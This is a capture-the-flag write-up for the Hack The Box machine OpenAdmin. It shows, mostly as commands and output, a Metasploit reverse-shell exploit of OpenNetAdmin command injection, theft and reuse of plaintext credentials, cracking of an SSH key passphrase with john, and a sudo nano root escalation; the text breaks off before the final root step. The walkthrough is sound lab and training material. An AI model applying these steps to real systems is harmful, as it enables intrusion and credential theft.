Hack The Box - OpenAdmin
Configuration
The operating systems that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.171 openadmin.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sV -sT -sC openadmin.htb
tarting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 11:35 EST
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.46s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 262.61 seconds
Enumeration (1)
Not much can be done with the ssh
service as we do not have any credentials on hand so lets come back to it later. As for the http
service, maybe we can find some information on it ?
Nothing much here so lets bruteforce some directories using gobuster
.
1
2
3
4
5
$ gobuster dir -u http://openadmin.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 100 -k -q
...
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
There’s a few places to check out but lets take a look at /music
first.
Mostly static pages but after much “crawling” around, I found /ona
by clicking on the “Login” button only on the index page?
We are presented with the UI for OpenNetAdmin
.
1
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
From the UI, we can see that the version of OpenNetAdmin
installed on the box is v18.1.1
. With that knowledge, I used searchsploit
to search for any possible exploit for this version.
1
2
3
4
5
6
7
8
9
10
searchsploit OpenNetAdmin 18.1.1
----------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
----------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
I will be using the Metasploit
module for this one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ msfconsole
msf5 > search opennetadmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/opennetadmin_ping_cmd_injection 2019-11-19 excellent Yes OpenNetAdmin Ping Command Injection
msf5 > use exploit/unix/webapp/opennetadmin_ping_cmd_injection
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > set RHOSTS openadmin.htb
RHOSTS => openadmin.htb
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > set LHOST tun0
LHOST => 10.10.XX.XX
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.XX.XX:4444
[*] Exploiting...
[*] Command Stager progress - 100.00% done (703/703 bytes)
[*] Exploit completed, but no session was created.
Hmm no session? Lets use a 64-bit payload instead.
1
2
3
4
5
6
7
8
9
10
11
12
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.XX.XX:4444
[*] Exploiting...
[*] Sending stage (3012516 bytes) to 10.10.10.171
[*] Meterpreter session 1 opened (10.10.XX.XX:4444 -> 10.10.10.171:48498) at 2020-04-30 22:45:18 -0400
[*] Command Stager progress - 100.00% done (808/808 bytes)
meterpreter > getuid
Server username: no-user @ openadmin (uid=33, gid=33, euid=33, egid=33)
Alright, we got a foothold! Lets try spawning a tty
shell.
1
2
3
4
5
meterpreter > shell
which python
which python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@openadmin:/opt/ona/www$
Seems like we are in the web service’s directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@openadmin:/opt/ona/www$ ls -al
-rw-rw-r-- 1 www-data www-data 1970 Jan 3 2018 .htaccess.example
drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 config
-rw-rw-r-- 1 www-data www-data 1949 Jan 3 2018 config_dnld.php
-rw-rw-r-- 1 www-data www-data 4160 Jan 3 2018 dcm.php
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 images
drwxrwxr-x 9 www-data www-data 4096 Jan 3 2018 include
-rw-rw-r-- 1 www-data www-data 1999 Jan 3 2018 index.php
drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 local
-rw-rw-r-- 1 www-data www-data 4526 Jan 3 2018 login.php
-rw-rw-r-- 1 www-data www-data 1106 Jan 3 2018 logout.php
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 modules
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 plugins
drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 winc
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 workspace_plugins
After some digging around, I only found database credentials in /opt/ona/www/local/config/database_settings.inc.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
Moving on, I went to check what users were on the box.
1
2
3
4
5
www-data@openadmin:/opt/ona/www$ ls -al /home
drwxr-xr-x 4 root root 4096 Nov 22 18:00 .
drwxr-xr-x 24 root root 4096 Nov 21 13:41 ..
drwxr-x--- 6 jimmy jimmy 4096 May 1 00:44 jimmy
drwxr-x--- 6 joanna joanna 4096 May 1 02:43 joanna
With these 2 usernames and the password I found, I manually tried each possible combination and managed to log into jimmy
.
1
2
3
4
5
$ ssh jimmy@openadmin.htb
jimmy@openadmin.htb's password: n1nj4W4rri0R!
...
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
Unfortunately, jimmy
doesn’t have the user.txt
, which means that joanna
has it.
It was hard to figure where to go next so I did some basic enumeration and found a very interesting port 52846
that was only exposed on the localhost interface.
1
2
3
4
5
6
7
8
9
10
jimmy@openadmin:~$ netstat -peanut
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 111 20279 -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN 0 20231 -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 16729 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 20036 -
...
Lets see if we can scan this port and see what service is running on it. But first, we will need to perform SSH port forwarding to our machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh -L 1337:localhost:52846 jimmy@openadmin.htb
jimmy@openadmin.htb's password: n1nj4W4rri0R!
$ nmap -sV -sT -sC -p 1337 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-01 03:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000075s latency).
PORT STATE SERVICE VERSION
1337/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tutorialspoint.com
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
There’s a website on that port! Lets try visiting it using our browser.
I tried with the credentials I have so far and none of them worked, so I went to check the apache2
configs to see where are the webpages being stored at.
1
2
3
4
5
6
7
jimmy@openadmin:/etc/apache2/sites-available$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Nov 23 17:13 .
drwxr-xr-x 8 root root 4096 Nov 21 14:08 ..
-rw-r--r-- 1 root root 6338 Jul 16 2019 default-ssl.conf
-rw-r--r-- 1 root root 303 Nov 23 17:13 internal.conf
-rw-r--r-- 1 root root 1329 Nov 22 14:24 openadmin.conf
Checking each of the config, we find out that the web pages are at /var/www/internal
and we also see some hints of joanna
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
In the directory were 3 files.
1
2
3
4
5
6
7
jimmy@openadmin:/var/www/internal$ ls -al
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 .
drwxr-xr-x 4 root root 4096 Nov 22 18:15 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php
In index.php
, we find the code used for the login page and the username and password hash were hard-coded in it!
1
2
3
4
5
6
7
8
9
10
11
12
13
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
If we lookup the hash online, we get “Revealed”.
Now, if we enter “jimmy” as the username and “Revealed” as the password,
We got in! And we got a SSH private key?
Checking the code for main.php
(which was the the page we were redirected to),
1
2
3
4
5
6
7
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
The private key belongs to user joanna
. Lets try ssh
ing using it.
1
2
3
4
$ chmod 700 id_rsa
$ ssh -i id_rsa joanna@openadmin.htb
Enter passphrase for key 'id_rsa':
The private key is protected with a passphrase, so we use ssh2john
along with john
to crack the passphrase
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python /usr/share/john/ssh2john.py id_rsa > joanna.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt joanna.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (id_rsa)
1g 0:00:00:05 DONE (2020-05-01 05:12) 0.1858g/s 2665Kp/s 2665Kc/s 2665KC/s 1990..*7¡Vamos!
Session completed
user.txt
Now, we can finally get our user.txt
.
1
2
3
4
5
$ ssh -i id_rsa joanna@openadmin.htb
Enter passphrase for key 'id_rsa': bloodninjas
...
joanna@openadmin:~$ cat user.txt
c9b2XXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumeration (2)
If we list the commands we can run sudo
with,
1
2
3
4
5
6
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
root.txt
joanna
can run nano
as root
! And according to GTFOBins
, we can spawn a shell as root
.
Creating /opt/priv
and running nano
using sudo
on /opt/priv
:
1
2
joanna@openadmin:~$ touch /opt/priv
joanna@openadmin:~$ sudo /bin/nano /opt/priv
Doing Ctrl+R
and Ctrl+X
:
Executing the magical string and getting the flag: